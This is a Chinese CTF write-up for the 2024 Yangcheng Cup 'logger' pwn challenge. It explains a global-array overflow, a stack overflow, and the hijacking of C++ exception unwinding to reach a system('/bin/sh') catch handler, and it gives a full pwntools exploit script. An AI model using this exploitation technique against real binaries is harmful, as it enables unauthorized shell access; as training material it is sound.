首页
社区
课程
招聘
[原创]2024 羊城杯logger
发表于: 2024-8-31 21:30 6227

[原创]2024 羊城杯logger

2024-8-31 21:30
6227

这一道题涉及到了C++异常处理(第一次遇到),我们来看看题是怎么回事。

首先来看看保护:
1

我们可以看到有canary,但是没有开PIE,也就是地址没有随机变化。

然后来看看main函数:

2
菜单只有三个选项,我们先来看看Trace函数:

3

这里有几个点要注意,它可以创建9个,每一个可以放16个字节,但是我们进入byte_404020 里面可以看到这里存在一个漏洞:
10

截至到src 上面,结果只有0x80的空间大小,也就是8 * 16,因为我们能够创建9个,所以这里能够溢出16字节,可以覆盖掉src 里面的内容,这是我们找到的第一个漏洞点;函数剩余部分没什么明显问题。

我们接下来就来看Warn函数:

4

这里我们首先能够看到是这里的buf存在溢出,而且是超大溢出,但是我们这道题有canary,所以最开始首先想的是想办法泄露出canary。

我们发现,在这里如果写入超出buf大小的内容的话,他会对你进行提醒并且会输出"Buffer Overflow”的字样(这就是我们前面看到的src里面存储的内容),我们可能会想办法将canary写进src然后输出出来,但是现实情况是没有办法写进去,那么怎么办呢?

这个时候我们就注意到了这里面的异常处理函数了。

C++的异常处理机制有三个关键字:throwtrycatch

其中throw是抛出异常、try包含异常模块、catch捕获抛出的异常;这里给出一个代码来看看这三个大概什么意思:

这里发生了除零异常,然后被catch捕获了,然后就会输出上面抛出的"Division by zero condition!"

大体意思是这样的,但是要做这个题我们还得更加细致得了解一下这个过程:

在编译C++代码的时候,编译器会将throw替换成__CxxRTThrowExp 这类指定函数,通常与 __cxa_allocate_exception__cxa_throw 等函数配合使用,完成分配、初始化、抛出异常的操作。
__cxa_allocate_exception :是一个内部的 C++ 异常处理函数,用于在抛出异常时分配内存以存储异常对象;它会与__cxa_throw相互配合,__cxa_throw 函数在调用时会使用 __cxa_allocate_exception 来分配内存,然后复制异常对象到分配的内存中,并设置适当的异常处理上下文。异常对象处理完后就会使用__cxa_free_exception来释放内存

5

我们知道异常抛出过后会被catch捕捉,但是要是当前函数里面没有catch,那么就会沿函数的调用链继续找catch。要是没有catch那么程序就会中止。

这个东西就比较有意思了,当程序将要进入 _cxa_throw函数的时候你会发现它值是main函数的rbp的值,并且在main函数结尾有catch字段:

6

这里就是我们异常过后catch的位置。我们跟进 _cxa_throw函数中,在执行 Unwind_RaiseException函数时,进行了栈回退,回退到到 Main函数时的 ebp并找到了 catch结构,此时会直接进入 catch结构里。

经过调试可以发现,当我们要是修改rbp地址的话,那么经过整个异常处理过程之后,他的rbp就会变成我们修改的地方。这不就和栈迁移很像了吗!

那么总结下来,我们有两种解决办法:

第一种是通过修改rbp控制程序流走向,到我们rop的位置

第二种是通过覆盖ret到另外一个有catch的handler处理

非常幸运的是我们在这个程序里面找到了一个catch有后门的:

7
那么我们可以覆盖ret地址为这里让他来获取我们的异常对象的指针(就是我们的src)

刚好前面能够修改src,我们可以将其修改成/bin/sh ;因为在异常处理或栈展开(unwinding)过程中,rax 通常用来存储异常对象的指针或其他关键数据。
那么这里会将rax → rdi,就完成了system(”/bin/sh”)的过程。

这里有一点要注意我们的rbp的地址覆盖的时候不能够随便覆盖,必须要合法,比如改成一个可写的地址:

8
那么我们的exp就是这个样子的:

效果:

9

#include <iostream>
using namespace std;
  
double division(int a, int b)
{
   if( b == 0 )
   {
      throw "Division by zero condition!";
   }
   return (a/b);
}
  
int main ()
{
   int x = 50;
   int y = 0;
   double z = 0;
  
   try {
     z = division(x, y);
     cout << z << endl;
   }catch (const char* msg) {
     cerr << msg << endl;
   }
  
   return 0;
}
#include <iostream>
using namespace std;
  
double division(int a, int b)
{
   if( b == 0 )
   {
      throw "Division by zero condition!";
   }
   return (a/b);
}
  
int main ()
{
   int x = 50;
   int y = 0;
   double z = 0;
  
   try {
     z = division(x, y);
     cout << z << endl;
   }catch (const char* msg) {
     cerr << msg << endl;
   }
  
   return 0;
}
from pwn import*
from LibcSearcher import*
from ctypes import*
elf = ELF('./pwn')
#libc = ELF('libc.so.6')
libc = elf.libc
jude = 0
if jude == 1:
    node = 'www.xyctf.top/api/proxy/072c17a6-5497-4758-9d77-071f90c650ff'
    num = 48565
    p = remote(node,num)
else:
    p = process('./pwn')
system_adr = 0
bin_sh = 0
libc_base = 0
def ret2csu(pop_addr,mov_adr,fun_addr,rdi,rsi,rdx):
    p = p64(pop_addr)
    p += p64(0) + p64(1) + p64(fun_addr) +p64(rdi) +p64(rsi) +p64(rdx) +p64(mov_adr)
    p += b'a'*56
    return p
 
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
  
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
  
def s(a):
  
    p.send(a)
  
def sa(a, b):
  
    p.sendafter(a, b)
  
def sl(a):
  
    p.sendline(a)
  
def sla(a, b):
  
    p.sendlineafter(a, b)
  
def rv(num):
  
    return p.recv(num)
  
def pr():
  
    print(p.recv())
  
def ru(a):
  
    return p.recvuntil(a)
  
def inter():
  
    p.interactive()
  
context(os='linux', arch='amd64', log_level='debug')
  
def g():
 
    gdb.attach(r)
def get_addr(arch):
    if arch == 64:
        return u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
    else:
        return u32(p.recvuntil(b'\xf7'))
 
def leaklibc(way,func_adr,name,libc):
    if way == 'LibcSearcher':
        libc = LibcSearcher('name',func_adr)
        libc_base = func_adr - libc.dump(name)
        system_adr = libc_base + libc.dump('system')
        bin_sh = libc_base + libc.dump('str_bin_sh')
    else:
        libc_base = func_adr - libc.sym[name]
        system_adr = libc_base + libc.sym['system']
        bin_sh = libc_base + next(libc.search(b'/bin/sh'))
 
    return libc_base , system_adr ,bin_sh
def heaplibc(libc_base,libc):
    system_adr = libc_base + libc.sym['system']
    bin_sh = libc_base + next(libc.search(b'/bin/sh'))
    free_hook = libc_base + libc.sym['__free_hook']
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    return system_adr,bin_sh,free_hook,malloc_hook
 
ret = 0x04019C9
 
for i in range(8):
    sla("Your chocie:",b'1')
 
    sla("You can record log details here:",b'a'*16)
    sla("Do you need to check the records?",b'y')
 
#gdb.attach(p)
sla("Your chocie:",b'1')
pl = b'/bin/sh'
sla("You can record log details here:",pl)
sla("Do you need to check the records?",b'y')
 
sla("Your chocie:",b'2')
#gdb.attach(p)
pl2 = b'a'*0x70  + p64(0x00404700) + p64(0x0401BC7)
sla("Type your message here plz:",pl2)
 
p.interactive()
from pwn import*
from LibcSearcher import*
from ctypes import*
elf = ELF('./pwn')
#libc = ELF('libc.so.6')
libc = elf.libc
jude = 0
if jude == 1:
    node = 'www.xyctf.top/api/proxy/072c17a6-5497-4758-9d77-071f90c650ff'
    num = 48565
    p = remote(node,num)
else:
    p = process('./pwn')
system_adr = 0
bin_sh = 0
libc_base = 0
def ret2csu(pop_addr,mov_adr,fun_addr,rdi,rsi,rdx):
    p = p64(pop_addr)
    p += p64(0) + p64(1) + p64(fun_addr) +p64(rdi) +p64(rsi) +p64(rdx) +p64(mov_adr)
    p += b'a'*56
    return p
 
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
  

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2024-11-3 15:53 被doujia编辑 ,原因:
收藏
免费 3
支持
分享
最新回复 (1)
雪    币: 228
活跃值: (207)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
忘了说buf的溢出可以修改到rbp
2024-8-31 22:07
1
游客
登录 | 注册 方可回帖
返回
//